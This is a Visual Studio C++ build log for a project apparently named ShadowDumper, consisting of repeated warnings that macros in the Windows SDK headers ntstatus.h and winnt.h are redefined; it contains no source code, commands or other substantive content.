C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(1923,1): warning C4005: 'DBG_EXCEPTION_NOT_HANDLED': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2573): message : see previous definition of 'DBG_EXCEPTION_NOT_HANDLED'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(2090,1): warning C4005: 'STATUS_ACCESS_VIOLATION': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2574): message : see previous definition of 'STATUS_ACCESS_VIOLATION'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(2099,1): warning C4005: 'STATUS_IN_PAGE_ERROR': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2575): message : see previous definition of 'STATUS_IN_PAGE_ERROR'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(2117,1): warning C4005: 'STATUS_INVALID_HANDLE': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2576): message : see previous definition of 'STATUS_INVALID_HANDLE'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(2162,1): warning C4005: 'STATUS_INVALID_PARAMETER': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2577): message : see previous definition of 'STATUS_INVALID_PARAMETER'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(2262,1): warning C4005: 'STATUS_NO_MEMORY': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2578): message : see previous definition of 'STATUS_NO_MEMORY'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(2319,1): warning C4005: 'STATUS_ILLEGAL_INSTRUCTION': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2579): message : see previous definition of 'STATUS_ILLEGAL_INSTRUCTION'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(2400,1): warning C4005: 'STATUS_NONCONTINUABLE_EXCEPTION': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2580): message : see previous definition of 'STATUS_NONCONTINUABLE_EXCEPTION'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(2409,1): warning C4005: 'STATUS_INVALID_DISPOSITION': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2581): message : see previous definition of 'STATUS_INVALID_DISPOSITION'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(3342,1): warning C4005: 'STATUS_ARRAY_BOUNDS_EXCEEDED': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2582): message : see previous definition of 'STATUS_ARRAY_BOUNDS_EXCEEDED'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(3352,1): warning C4005: 'STATUS_FLOAT_DENORMAL_OPERAND': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2583): message : see previous definition of 'STATUS_FLOAT_DENORMAL_OPERAND'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(3362,1): warning C4005: 'STATUS_FLOAT_DIVIDE_BY_ZERO': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2584): message : see previous definition of 'STATUS_FLOAT_DIVIDE_BY_ZERO'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(3372,1): warning C4005: 'STATUS_FLOAT_INEXACT_RESULT': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2585): message : see previous definition of 'STATUS_FLOAT_INEXACT_RESULT'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(3382,1): warning C4005: 'STATUS_FLOAT_INVALID_OPERATION': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2586): message : see previous definition of 'STATUS_FLOAT_INVALID_OPERATION'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(3392,1): warning C4005: 'STATUS_FLOAT_OVERFLOW': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2587): message : see previous definition of 'STATUS_FLOAT_OVERFLOW'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(3402,1): warning C4005: 'STATUS_FLOAT_STACK_CHECK': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2588): message : see previous definition of 'STATUS_FLOAT_STACK_CHECK'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(3412,1): warning C4005: 'STATUS_FLOAT_UNDERFLOW': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2589): message : see previous definition of 'STATUS_FLOAT_UNDERFLOW'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(3422,1): warning C4005: 'STATUS_INTEGER_DIVIDE_BY_ZERO': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2590): message : see previous definition of 'STATUS_INTEGER_DIVIDE_BY_ZERO'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(3432,1): warning C4005: 'STATUS_INTEGER_OVERFLOW': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2591): message : see previous definition of 'STATUS_INTEGER_OVERFLOW'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(3442,1): warning C4005: 'STATUS_PRIVILEGED_INSTRUCTION': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2592): message : see previous definition of 'STATUS_PRIVILEGED_INSTRUCTION'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(4388,1): warning C4005: 'STATUS_STACK_OVERFLOW': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2593): message : see previous definition of 'STATUS_STACK_OVERFLOW'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(4905,1): warning C4005: 'STATUS_DLL_NOT_FOUND': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2594): message : see previous definition of 'STATUS_DLL_NOT_FOUND'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(4934,1): warning C4005: 'STATUS_ORDINAL_NOT_FOUND': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2595): message : see previous definition of 'STATUS_ORDINAL_NOT_FOUND'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(4944,1): warning C4005: 'STATUS_ENTRYPOINT_NOT_FOUND': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2596): message : see previous definition of 'STATUS_ENTRYPOINT_NOT_FOUND'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(4954,1): warning C4005: 'STATUS_CONTROL_C_EXIT': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2597): message : see previous definition of 'STATUS_CONTROL_C_EXIT'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(5032,1): warning C4005: 'STATUS_DLL_INIT_FAILED': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2598): message : see previous definition of 'STATUS_DLL_INIT_FAILED'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(6029,1): warning C4005: 'STATUS_CONTROL_STACK_VIOLATION': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2599): message : see previous definition of 'STATUS_CONTROL_STACK_VIOLATION'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(7623,1): warning C4005: 'STATUS_FLOAT_MULTIPLE_FAULTS': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2600): message : see previous definition of 'STATUS_FLOAT_MULTIPLE_FAULTS'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(7633,1): warning C4005: 'STATUS_FLOAT_MULTIPLE_TRAPS': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2601): message : see previous definition of 'STATUS_FLOAT_MULTIPLE_TRAPS'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(7765,1): warning C4005: 'STATUS_REG_NAT_CONSUMPTION': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2602): message : see previous definition of 'STATUS_REG_NAT_CONSUMPTION'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(8748,1): warning C4005: 'STATUS_HEAP_CORRUPTION': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2603): message : see previous definition of 'STATUS_HEAP_CORRUPTION'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(8976,1): warning C4005: 'STATUS_STACK_BUFFER_OVERRUN': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2604): message : see previous definition of 'STATUS_STACK_BUFFER_OVERRUN'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(9103,1): warning C4005: 'STATUS_INVALID_CRUNTIME_PARAMETER': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2605): message : see previous definition of 'STATUS_INVALID_CRUNTIME_PARAMETER'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(9166,1): warning C4005: 'STATUS_ASSERTION_FAILURE': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2606): message : see previous definition of 'STATUS_ASSERTION_FAILURE'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(10075,1): warning C4005: 'STATUS_ENCLAVE_VIOLATION': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2607): message : see previous definition of 'STATUS_ENCLAVE_VIOLATION'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(10808,1): warning C4005: 'STATUS_INTERRUPTED': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2608): message : see previous definition of 'STATUS_INTERRUPTED'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(10817,1): warning C4005: 'STATUS_THREAD_NOT_RUNNING': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2609): message : see previous definition of 'STATUS_THREAD_NOT_RUNNING'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(11129,1): warning C4005: 'STATUS_ALREADY_REGISTERED': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2610): message : see previous definition of 'STATUS_ALREADY_REGISTERED'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(15048,1): warning C4005: 'STATUS_SXS_EARLY_DEACTIVATION': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2612): message : see previous definition of 'STATUS_SXS_EARLY_DEACTIVATION'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(15057,1): warning C4005: 'STATUS_SXS_INVALID_DEACTIVATION': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2613): message : see previous definition of 'STATUS_SXS_INVALID_DEACTIVATION'
simpleMDWD.cpp
syscallsMDWD.cpp
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(66,1): warning C4005: 'STATUS_WAIT_0': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2549): message : see previous definition of 'STATUS_WAIT_0'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(171,1): warning C4005: 'STATUS_SUCCESS': macro redefinition
C:\Users\DARKN3T\source\repos\ShadowDumper\ShadowDumper\syscallsNative.h(24): message : see previous definition of 'STATUS_SUCCESS'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(223,1): warning C4005: 'STATUS_ABANDONED_WAIT_0': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2550): message : see previous definition of 'STATUS_ABANDONED_WAIT_0'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(246,1): warning C4005: 'STATUS_USER_APC': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2551): message : see previous definition of 'STATUS_USER_APC'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(282,1): warning C4005: 'STATUS_TIMEOUT': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2552): message : see previous definition of 'STATUS_TIMEOUT'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(291,1): warning C4005: 'STATUS_PENDING': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2553): message : see previous definition of 'STATUS_PENDING'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(747,1): warning C4005: 'DBG_EXCEPTION_HANDLED': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2554): message : see previous definition of 'DBG_EXCEPTION_HANDLED'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(756,1): warning C4005: 'DBG_CONTINUE': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2555): message : see previous definition of 'DBG_CONTINUE'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(831,1): warning C4005: 'STATUS_SEGMENT_NOTIFICATION': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2556): message : see previous definition of 'STATUS_SEGMENT_NOTIFICATION'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(994,1): warning C4005: 'STATUS_FATAL_APP_EXIT': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2557): message : see previous definition of 'STATUS_FATAL_APP_EXIT'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(1332,1): warning C4005: 'DBG_REPLY_LATER': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2558): message : see previous definition of 'DBG_REPLY_LATER'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(1350,1): warning C4005: 'DBG_TERMINATE_THREAD': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2559): message : see previous definition of 'DBG_TERMINATE_THREAD'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(1359,1): warning C4005: 'DBG_TERMINATE_PROCESS': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2560): message : see previous definition of 'DBG_TERMINATE_PROCESS'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(1368,1): warning C4005: 'DBG_CONTROL_C': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2561): message : see previous definition of 'DBG_CONTROL_C'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(1377,1): warning C4005: 'DBG_PRINTEXCEPTION_C': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2562): message : see previous definition of 'DBG_PRINTEXCEPTION_C'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(1386,1): warning C4005: 'DBG_RIPEXCEPTION': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2563): message : see previous definition of 'DBG_RIPEXCEPTION'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(1395,1): warning C4005: 'DBG_CONTROL_BREAK': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2564): message : see previous definition of 'DBG_CONTROL_BREAK'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(1404,1): warning C4005: 'DBG_COMMAND_EXCEPTION': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2565): message : see previous definition of 'DBG_COMMAND_EXCEPTION'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(1413,1): warning C4005: 'DBG_PRINTEXCEPTION_WIDE_C': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2566): message : see previous definition of 'DBG_PRINTEXCEPTION_WIDE_C'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(1445,1): warning C4005: 'STATUS_GUARD_PAGE_VIOLATION': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2567): message : see previous definition of 'STATUS_GUARD_PAGE_VIOLATION'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(1456,1): warning C4005: 'STATUS_DATATYPE_MISALIGNMENT': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2568): message : see previous definition of 'STATUS_DATATYPE_MISALIGNMENT'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(1467,1): warning C4005: 'STATUS_BREAKPOINT': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2569): message : see previous definition of 'STATUS_BREAKPOINT'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(1478,1): warning C4005: 'STATUS_SINGLE_STEP': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2570): message : see previous definition of 'STATUS_SINGLE_STEP'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(1781,1): warning C4005: 'STATUS_LONGJUMP': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2571): message : see previous definition of 'STATUS_LONGJUMP'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(1808,1): warning C4005: 'STATUS_UNWIND_CONSOLIDATE': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2572): message : see previous definition of 'STATUS_UNWIND_CONSOLIDATE'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(1923,1): warning C4005: 'DBG_EXCEPTION_NOT_HANDLED': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2573): message : see previous definition of 'DBG_EXCEPTION_NOT_HANDLED'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(2090,1): warning C4005: 'STATUS_ACCESS_VIOLATION': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2574): message : see previous definition of 'STATUS_ACCESS_VIOLATION'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(2099,1): warning C4005: 'STATUS_IN_PAGE_ERROR': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2575): message : see previous definition of 'STATUS_IN_PAGE_ERROR'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(2117,1): warning C4005: 'STATUS_INVALID_HANDLE': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2576): message : see previous definition of 'STATUS_INVALID_HANDLE'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(2162,1): warning C4005: 'STATUS_INVALID_PARAMETER': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2577): message : see previous definition of 'STATUS_INVALID_PARAMETER'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(2262,1): warning C4005: 'STATUS_NO_MEMORY': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2578): message : see previous definition of 'STATUS_NO_MEMORY'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(2319,1): warning C4005: 'STATUS_ILLEGAL_INSTRUCTION': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2579): message : see previous definition of 'STATUS_ILLEGAL_INSTRUCTION'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(2400,1): warning C4005: 'STATUS_NONCONTINUABLE_EXCEPTION': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2580): message : see previous definition of 'STATUS_NONCONTINUABLE_EXCEPTION'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(2409,1): warning C4005: 'STATUS_INVALID_DISPOSITION': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2581): message : see previous definition of 'STATUS_INVALID_DISPOSITION'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(3342,1): warning C4005: 'STATUS_ARRAY_BOUNDS_EXCEEDED': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2582): message : see previous definition of 'STATUS_ARRAY_BOUNDS_EXCEEDED'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(3352,1): warning C4005: 'STATUS_FLOAT_DENORMAL_OPERAND': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2583): message : see previous definition of 'STATUS_FLOAT_DENORMAL_OPERAND'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(3362,1): warning C4005: 'STATUS_FLOAT_DIVIDE_BY_ZERO': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2584): message : see previous definition of 'STATUS_FLOAT_DIVIDE_BY_ZERO'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(3372,1): warning C4005: 'STATUS_FLOAT_INEXACT_RESULT': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2585): message : see previous definition of 'STATUS_FLOAT_INEXACT_RESULT'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(3382,1): warning C4005: 'STATUS_FLOAT_INVALID_OPERATION': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2586): message : see previous definition of 'STATUS_FLOAT_INVALID_OPERATION'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(3392,1): warning C4005: 'STATUS_FLOAT_OVERFLOW': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2587): message : see previous definition of 'STATUS_FLOAT_OVERFLOW'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(3402,1): warning C4005: 'STATUS_FLOAT_STACK_CHECK': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2588): message : see previous definition of 'STATUS_FLOAT_STACK_CHECK'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(3412,1): warning C4005: 'STATUS_FLOAT_UNDERFLOW': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2589): message : see previous definition of 'STATUS_FLOAT_UNDERFLOW'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(3422,1): warning C4005: 'STATUS_INTEGER_DIVIDE_BY_ZERO': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2590): message : see previous definition of 'STATUS_INTEGER_DIVIDE_BY_ZERO'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(3432,1): warning C4005: 'STATUS_INTEGER_OVERFLOW': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2591): message : see previous definition of 'STATUS_INTEGER_OVERFLOW'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(3442,1): warning C4005: 'STATUS_PRIVILEGED_INSTRUCTION': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2592): message : see previous definition of 'STATUS_PRIVILEGED_INSTRUCTION'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(4388,1): warning C4005: 'STATUS_STACK_OVERFLOW': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2593): message : see previous definition of 'STATUS_STACK_OVERFLOW'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(4905,1): warning C4005: 'STATUS_DLL_NOT_FOUND': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2594): message : see previous definition of 'STATUS_DLL_NOT_FOUND'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(4934,1): warning C4005: 'STATUS_ORDINAL_NOT_FOUND': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2595): message : see previous definition of 'STATUS_ORDINAL_NOT_FOUND'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(4944,1): warning C4005: 'STATUS_ENTRYPOINT_NOT_FOUND': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2596): message : see previous definition of 'STATUS_ENTRYPOINT_NOT_FOUND'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(4954,1): warning C4005: 'STATUS_CONTROL_C_EXIT': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2597): message : see previous definition of 'STATUS_CONTROL_C_EXIT'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(5032,1): warning C4005: 'STATUS_DLL_INIT_FAILED': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2598): message : see previous definition of 'STATUS_DLL_INIT_FAILED'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(6029,1): warning C4005: 'STATUS_CONTROL_STACK_VIOLATION': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2599): message : see previous definition of 'STATUS_CONTROL_STACK_VIOLATION'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(7623,1): warning C4005: 'STATUS_FLOAT_MULTIPLE_FAULTS': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2600): message : see previous definition of 'STATUS_FLOAT_MULTIPLE_FAULTS'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(7633,1): warning C4005: 'STATUS_FLOAT_MULTIPLE_TRAPS': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2601): message : see previous definition of 'STATUS_FLOAT_MULTIPLE_TRAPS'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(7765,1): warning C4005: 'STATUS_REG_NAT_CONSUMPTION': macro redefinition
